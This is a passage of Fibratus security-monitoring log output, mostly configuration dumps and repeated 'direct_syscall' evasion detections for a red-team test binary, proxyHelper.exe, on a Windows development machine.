Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x64;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x64;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework64\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX64\x64;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x64;C:\Program Files (x86)\Windows Kits\10\bin\\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework64\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x64 VSCMD_ARG_TGT_ARCH:x64 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{ba8f3393-b7b6-51ad-a3a4-08f184954571} WT_SESSION:6811ae7e-1f4e-4e71-b6e9-7ee096bdbc24 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_ADD_64BIT:1 __DOTNET_PREFERRED_BITNESS:64 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin __VSCMD_PREINIT_VCToolsVersion:14.36.32532 __VSCMD_PREINIT_VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ windir:C:\WINDOWS] + + ] and callstack [0x7ff7ae811133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff7ae811418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T20:57:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T20:57:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T20:57:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T20:58:30+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T20:58:30+01:00 level=info msg=bootstrapping with pid 20288. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T20:58:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-audit-api=>true enable-handle=>false min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-thread=>true enable-threadpool=>true stack-enrichment=>true enable-image=>true enable-dns=>false enable-net=>true flush-interval=>1s enable-fileio=>true enable-registry=>true enable-vamap=>true buffer-size=>512 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-backups=>15 level=>info log-stdout=>true max-size=>100] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] http=>[ timeout=>5s enable-gzip=>false enabled=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false serializer=>json] eventlog=>[ enabled=>false level=>info] amqp=>[ routing-key=>fibratus exchange=>fibratus passive=>false durable=>false enabled=>false url=>amqp://localhost:5672 vhost=>/ timeout=>5s exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false] elasticsearch=>[ gzip-compression=>false healthcheck=>true enabled=>false timeout=>5s flush-period=>1s template-name=>fibratus sniff=>false bulk-workers=>1 trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck-interval=>10s index-name=>fibratus]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false excluded-procs=>[] skip-files=>false skip-mmaps=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T20:58:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:58:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:58:36+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3449279 + Pid: 23312 + Tid: 23024 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 20:58:35.4020502 +0100 CET + Params: callback➜ 7ff7ae811000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ d5c397f990, pool_id➜ 2274e301a80, subprocess_tag➜ 0, task_id➜ 2274e314f68 + Metadata: evasions: [direct_syscall] + + Pid: 23312 + Ppid: 16440 + Name: proxyHelper.exe + Cmdline: + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7ae811133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff7ae811418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T20:59:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T20:59:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T20:59:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T20:59:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T20:59:35+01:00 level=info msg=bootstrapping with pid 17092. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T20:59:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] enabled=>false use-template=>true port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-fileio=>true buffer-size=>512 flush-interval=>1s enable-audit-api=>true enable-mem=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true stack-enrichment=>true enable-thread=>true enable-handle=>false max-buffers=>36 enable-image=>true enable-threadpool=>true min-buffers=>16 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 log-stdout=>true level=>info max-age=>0 max-size=>100] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus bulk-workers=>1 trace-log=>false healthcheck=>true flush-period=>1s template-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s sniff=>false enabled=>false gzip-compression=>false] http=>[ method=>POST timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json enabled=>false] amqp=>[ exchange-type=>topic durable=>false timeout=>5s routing-key=>fibratus vhost=>/ exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient enabled=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false scan-timeout=>10s enabled=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true excluded-files=>[] excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T20:59:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:59:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:59:40+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3486501 + Pid: 24060 + Tid: 18540 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 20:59:40.2083947 +0100 CET + Params: callback➜ 7ff7ae811000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ a1bfd0fe20, pool_id➜ 282ee5a1a80, subprocess_tag➜ 0, task_id➜ 282ee5b4f68 + Metadata: evasions: [direct_syscall] + + Pid: 24060 + Ppid: 16440 + Name: proxyHelper.exe + Cmdline: + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7ae811133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff7ae811418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T21:00:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T21:00:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T21:00:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T21:01:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T21:01:14+01:00 level=info msg=bootstrapping with pid 17008. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T21:01:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>true enable-fileio=>true enable-mem=>false enable-vamap=>true stack-enrichment=>true enable-thread=>true enable-image=>true flush-interval=>1s max-buffers=>36 buffer-size=>512 min-buffers=>16 enable-audit-api=>true enable-handle=>false enable-net=>true enable-registry=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 formatter=>text max-age=>0 max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ method=>POST timeout=>5s enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false serializer=>json endpoints=>[]] amqp=>[ timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient exchange-type=>topic durable=>false passive=>false vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ healthcheck=>true sniff=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s healthcheck-interval=>10s gzip-compression=>false trace-log=>false index-name=>fibratus healthcheck-timeout=>5s flush-period=>1s enabled=>false bulk-workers=>1]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true excluded-files=>[] skip-files=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false enabled=>false excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T21:01:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T21:01:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T21:01:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3573908 + Pid: 16800 + Tid: 23528 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 21:01:20.9086862 +0100 CET + Params: callback➜ 7ff7ae811000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ 61806ffde0, pool_id➜ 19dce991a80, subprocess_tag➜ 0, task_id➜ 19dce9a4f68 + Metadata: evasions: [direct_syscall] + + Pid: 16800 + Ppid: 16440 + Name: proxyHelper.exe + Cmdline: + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7ae811133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff7ae811418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T21:01:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T21:02:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T21:02:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T21:02:49+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T21:02:49+01:00 level=info msg=bootstrapping with pid 18444. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T21:02:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-image=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true stack-enrichment=>true enable-registry=>true enable-fileio=>true enable-dns=>false flush-interval=>1s min-buffers=>16 enable-handle=>false buffer-size=>512 enable-threadpool=>true enable-mem=>false enable-vamap=>true enable-audit-api=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 level=>info max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] http=>[ endpoints=>[] method=>POST enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s enabled=>false serializer=>json] eventlog=>[ level=>info enabled=>false] amqp=>[ enabled=>false vhost=>/ url=>amqp://localhost:5672 exchange-type=>topic tls-insecure-skip-verify=>false delivery-mode=>transient routing-key=>fibratus passive=>false timeout=>5s durable=>false exchange=>fibratus] elasticsearch=>[ flush-period=>1s gzip-compression=>false bulk-workers=>1 enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus trace-log=>false healthcheck=>true healthcheck-timeout=>5s timeout=>5s template-name=>fibratus sniff=>false]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true skip-registry=>false scan-timeout=>10s skip-files=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T21:02:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T21:02:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T21:02:54+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3581016 + Pid: 14036 + Tid: 23352 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 21:02:53.5490026 +0100 CET + Params: callback➜ 7ff7ae811000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ da0d6ffad0, pool_id➜ 24a4be91a80, subprocess_tag➜ 0, task_id➜ 24a4bea4f68 + Metadata: evasions: [direct_syscall] + + Pid: 14036 + Ppid: 16440 + Name: proxyHelper.exe + Cmdline: + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7ae811133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff7ae811418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T21:03:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T21:03:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T21:03:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 